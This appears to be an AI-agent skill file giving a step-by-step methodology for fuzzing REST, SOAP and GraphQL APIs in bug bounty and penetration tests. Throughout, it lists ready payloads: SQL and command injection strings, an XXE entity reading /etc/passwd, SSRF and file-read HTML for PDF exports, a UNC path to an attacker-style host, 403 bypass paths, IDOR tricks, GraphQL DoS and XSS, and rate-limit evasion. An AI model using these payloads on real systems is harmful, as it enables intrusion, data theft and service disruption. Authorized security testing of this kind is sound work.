Regtransfers/api-fuzzing-bug-bounty

AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.

@ API Fuzzing for Bug Bounty

@ Purpose

Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.

@ Inputs/Prerequisites

• Burp Suite or similar proxy tool
• API wordlists (SecLists, api_wordlist)
• Understanding of REST/GraphQL/SOAP protocols
• Python for scripting
• Target API endpoints and documentation (if available)

@ Outputs/Deliverables

• Identified API vulnerabilities
• IDOR exploitation proofs
• Authentication bypass techniques
• SQL injection points
• Unauthorized data access documentation

@ API Types Overview

Type; Protocol; Data Format; Structure

SOAP; HTTP; XML; Header + Body REST; HTTP; JSON/XML/URL; Defined endpoints GraphQL; HTTP; Custom Query; Single endpoint

@ Core Workflow

@ Step 1: API Reconnaissance

Identify API type and enumerate endpoints:

# Check for Swagger/OpenAPI documentation
/swagger.json
/openapi.json
/api-docs
/v1/api-docs
/swagger-ui.html

# Use Kiterunner for API discovery
kr scan https://target.com -w routes-large.kite

# Extract paths from Swagger
python3 json2paths.py swagger.json

@ Step 2: Authentication Testing

# Test different login paths
/api/mobile/login
/api/v3/login
/api/magic_link
/api/admin/login

# Check rate limiting on auth endpoints
# If no rate limit → brute force possible

# Test mobile vs web API separately
# Don't assume same security controls

@ Step 3: IDOR Testing

Insecure Direct Object Reference is the most common API vulnerability:

# Basic IDOR
GET /api/users/1234 → GET /api/users/1235

# Even if ID is email-based, try numeric
/?user_id=111 instead of /[email protected]

# Test /me/orders vs /user/654321/orders

IDOR Bypass Techniques:

# Wrap ID in array
{"id":111} → {"id":[111]}

# JSON wrap
{"id":111} → {"id":{"id":111}}

# Send ID twice
URL?id=<LEGIT>&id=<VICTIM>

# Wildcard injection
{"user_id":"*"}

# Parameter pollution
/api/get_profile?user_id=<victim>&user_id=<legit>
{"user_id":<legit_id>,"user_id":<victim_id>}

@ Step 4: Injection Testing

SQL Injection in JSON:

{"id":"56456"}                    → OK
{"id":"56456 AND 1=1#"}           → OK
{"id":"56456 AND 1=2#"}           → OK
{"id":"56456 AND 1=3#"}           → ERROR (vulnerable!)
{"id":"56456 AND sleep(15)#"}     → SLEEP 15 SEC

Command Injection:

# Ruby on Rails
?url=Kernel#open → ?url=|ls

# Linux command injection
api.url.com/endpoint?name=file.txt;ls%20/

XXE Injection:

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

SSRF via API:

<object data="http://127.0.0.1:8443"/>
<img src="http://127.0.0.1:445"/>

.NET Path.Combine Vulnerability:

# If .NET app uses Path.Combine(path_1, path_2)
# Test for path traversal
https://example.org/download?filename=a.png
https://example.org/download?filename=C:\inetpub\wwwroot\web.config
https://example.org/download?filename=\\smb.dns.attacker.com\a.png

@ Step 5: Method Testing

# Test all HTTP methods
GET /api/v1/users/1
POST /api/v1/users/1
PUT /api/v1/users/1
DELETE /api/v1/users/1
PATCH /api/v1/users/1

# Switch content type
Content-Type: application/json → application/xml

@ GraphQL-Specific Testing

@ Introspection Query

Fetch entire backend schema:

{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}

URL-encoded version:

/graphql?query={__schema{types{name,kind,description,fields{name}}}}

@ GraphQL IDOR

# Try accessing other user IDs
query {
  user(id: "OTHER_USER_ID") {
    email
    password
    creditCard
  }
}

@ GraphQL SQL/NoSQL Injection

mutation {
  login(input: {
    email: "test' or 1=1--"
    password: "password"
  }) {
    success
    jwt
  }
}

@ Rate Limit Bypass (Batching)

mutation {login(input:{email:"[email protected]" password:"password"}){success jwt}}
mutation {login(input:{email:"[email protected]" password:"password"}){success jwt}}
mutation {login(input:{email:"[email protected]" password:"password"}){success jwt}}

@ GraphQL DoS (Nested Queries)

query {
  posts {
    comments {
      user {
        posts {
          comments {
            user {
              posts { ... }
            }
          }
        }
      }
    }
  }
}

@ GraphQL XSS

# XSS via GraphQL endpoint
http://target.com/graphql?query={user(name:"<script>alert(1)</script>"){id}}

# URL-encoded XSS
http://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E

@ GraphQL Tools

Tool; Purpose

GraphCrawler; Schema discovery graphw00f; Fingerprinting clairvoyance; Schema reconstruction InQL; Burp extension GraphQLmap; Exploitation

@ Endpoint Bypass Techniques

When receiving 403/401, try these bypasses:

# Original blocked request
/api/v1/users/sensitivedata → 403

# Bypass attempts
/api/v1/users/sensitivedata.json
/api/v1/users/sensitivedata?
/api/v1/users/sensitivedata/
/api/v1/users/sensitivedata??
/api/v1/users/sensitivedata%20
/api/v1/users/sensitivedata%09
/api/v1/users/sensitivedata#
/api/v1/users/sensitivedata&details
/api/v1/users/..;/sensitivedata

@ Output Exploitation

@ PDF Export Attacks

<!-- LFI via PDF export -->
<iframe src="file:///etc/passwd" height=1000 width=800>

<!-- SSRF via PDF export -->
<object data="http://127.0.0.1:8443"/>

<!-- Port scanning -->
<img src="http://127.0.0.1:445"/>

<!-- IP disclosure -->
<img src="https://iplogger.com/yourcode.gif"/>

@ DoS via Limits

# Normal request
/api/news?limit=100

# DoS attempt
/api/news?limit=9999999999

@ Common API Vulnerabilities Checklist

Vulnerability; Description

API Exposure; Unprotected endpoints exposed publicly Misconfigured Caching; Sensitive data cached incorrectly Exposed Tokens; API keys/tokens in responses or URLs JWT Weaknesses; Weak signing, no expiration, algorithm confusion IDOR / BOLA; Broken Object Level Authorization Undocumented Endpoints; Hidden admin/debug endpoints Different Versions; Security gaps in older API versions Rate Limiting; Missing or bypassable rate limits Race Conditions; TOCTOU vulnerabilities XXE Injection; XML parser exploitation Content Type Issues; Switching between JSON/XML HTTP Method Tampering; GET→DELETE/PUT abuse

@ Quick Reference

Vulnerability; Test Payload; Risk

IDOR; Change user_id parameter; High SQLi; ' OR 1=1-- in JSON; Critical Command Injection;; ls /; Critical XXE; DOCTYPE with ENTITY; High SSRF; Internal IP in params; High Rate Limit Bypass; Batch requests; Medium Method Tampering; GET→DELETE; High

@ Tools Reference

Category; Tool; URL

API Fuzzing; Fuzzapi; github.com/Fuzzapi/fuzzapi API Fuzzing; API-fuzzer; github.com/Fuzzapi/API-fuzzer API Fuzzing; Astra; github.com/flipkart-incubator/Astra API Security; apicheck; github.com/BBVA/apicheck API Discovery; Kiterunner; github.com/assetnote/kiterunner API Discovery; openapisecurityscanner; github.com/ngalongc/openapisecurityscanner API Toolkit; APIKit; github.com/API-Security/APIKit API Keys; API Guesser; api-guesser.netlify.app GUID; GUID Guesser; gist.github.com/DanaEpp/8c6803e542f094da5c4079622f9b4d18 GraphQL; InQL; github.com/doyensec/inql GraphQL; GraphCrawler; github.com/gsmith257-cyber/GraphCrawler GraphQL; graphw00f; github.com/dolevf/graphw00f GraphQL; clairvoyance; github.com/nikitastupin/clairvoyance GraphQL; batchql; github.com/assetnote/batchql GraphQL; graphql-cop; github.com/dolevf/graphql-cop Wordlists; SecLists; github.com/danielmiessler/SecLists Swagger Parser; Swagger-EZ; rhinosecuritylabs.github.io/Swagger-EZ Swagger Routes; swagroutes; github.com/amalmurali47/swagroutes API Mindmap; MindAPI; dsopas.github.io/MindAPI/play JSON Paths; json2paths; github.com/s0md3v/dump/tree/master/json2paths

@ Constraints

Must:

• Test mobile, web, and developer APIs separately
• Check all API versions (/v1, /v2, /v3)
• Validate both authenticated and unauthenticated access

Must Not:

• Assume same security controls across API versions
• Skip testing undocumented endpoints
• Ignore rate limiting checks

Should:

• Add X-Requested-With: XMLHttpRequest header to simulate frontend
• Check archive.org for historical API endpoints
• Test for race conditions on sensitive operations

@ Examples

@ Example 1: IDOR Exploitation

# Original request (own data)
GET /api/v1/invoices/12345
Authorization: Bearer <token>

# Modified request (other user's data)
GET /api/v1/invoices/12346
Authorization: Bearer <token>

# Response reveals other user's invoice data

@ Example 2: GraphQL Introspection

curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{__schema{types{name,fields{name}}}}"}'

@ Troubleshooting

Issue; Solution

API returns nothing; Add X-Requested-With: XMLHttpRequest header 401 on all endpoints; Try adding?user_id=1 parameter GraphQL introspection disabled; Use clairvoyance for schema reconstruction Rate limited; Use IP rotation or batch requests Can't find endpoints; Check Swagger, archive.org, JS files

@ When to Use This skill is applicable to execute the workflow or actions described in the overview.